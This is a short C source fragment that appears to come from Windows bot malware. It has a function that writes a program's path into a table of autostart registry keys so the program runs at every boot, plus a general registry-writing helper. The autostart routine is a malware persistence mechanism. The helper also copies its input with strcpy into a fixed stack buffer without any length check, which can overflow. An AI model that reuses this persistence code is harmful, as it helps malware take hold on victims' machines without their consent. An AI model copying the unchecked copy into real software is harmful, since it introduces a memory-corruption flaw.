void AutoStartRegs(char *nfilename)
{
HKEY key;
for (int i=0; i < (sizeof(autostart) / sizeof(AUTOSTART)); i++) {
fRegCreateKeyEx(autostart[i].hkey, autostart[i].subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL);
if (nfilename)
fRegSetValueEx(key, valuename, 0, REG_SZ, (const unsigned char *)nfilename, strlen(nfilename));
else
fRegDeleteValue(key, valuename);
fRegCloseKey(key);
}
return;
}
BOOL RegWrite(HKEY hKey,LPCTSTR SubKey,LPCTSTR KeyName,DWORD Type,RQUERY Data)
{
HKEY hRegKey;
DWORD dwBuf;
char szRegBuffer[65535+2]; // Only allow writing of 64Kb to a key, include space for double null
int i, nLen;
// Open the registry key
if (fRegCreateKeyEx(hKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hRegKey,NULL) != ERROR_SUCCESS)
{
return FALSE;
}
// If no keyname then we are finished
if (KeyName == 0)
{
fRegCloseKey(hRegKey);
return TRUE;
}
// Write the registry differently depending on type of variable we are writing
switch (Type)
{
case REG_EXPAND_SZ:
nLen=(int)strlen(Data.szQuery);
strcpy(szRegBuffer,Data.szQuery);
if (fRegSetValueEx(hRegKey,KeyName,0,REG_EXPAND_SZ,(CONST BYTE *)szRegBuffer,(DWORD)nLen+1) != ERROR_SUCCESS)
{
fRegCloseKey(hRegKey);
return FALSE;
}
break;
case REG_SZ:
nLen=(int)strlen(Data.szQuery);
strcpy(szRegBuffer,Data.szQuery);
if (fRegSetValueEx(hRegKey,KeyName,0,REG_SZ,(CONST BYTE *)szRegBuffer,(DWORD)nLen+1) != ERROR_SUCCESS)
{
fRegCloseKey(hRegKey);
return FALSE;
}
break;
case REG_DWORD:
dwBuf=Data.dwQuery;
if (fRegSetValueEx(hRegKey,KeyName,0,REG_DWORD,(CONST BYTE *)&dwBuf,sizeof(dwBuf)) != ERROR_SUCCESS)
{
fRegCloseKey(hRegKey);
return FALSE;
}
break;
case REG_MULTI_SZ:
nLen=(int)strlen(Data.szQuery);
strcpy(szRegBuffer,Data.szQuery);
// Change all \n to \0 then double null terminate
szRegBuffer[nLen]='\0'; // Double null
szRegBuffer[nLen+1]='\0';
for (i=0;i<nLen;++i)
if (szRegBuffer[i]=='\n')
szRegBuffer[i]='\0';
// If blank then must use nLen = 0, ignoring \0\0 (blank values not allowed)
// Otherwise take our stringlen + 2 (double null) as the size
if (nLen != 0)
nLen = nLen + 2;
if (fRegSetValueEx(hRegKey,KeyName,0,REG_MULTI_SZ,(CONST BYTE *)szRegBuffer,(DWORD)nLen) != ERROR_SUCCESS)
{
fRegCloseKey(hRegKey);
return FALSE;
}
break;
default:
fRegCloseKey(hRegKey);
return FALSE;
break;
}
fRegCloseKey(hRegKey);
return TRUE;
}
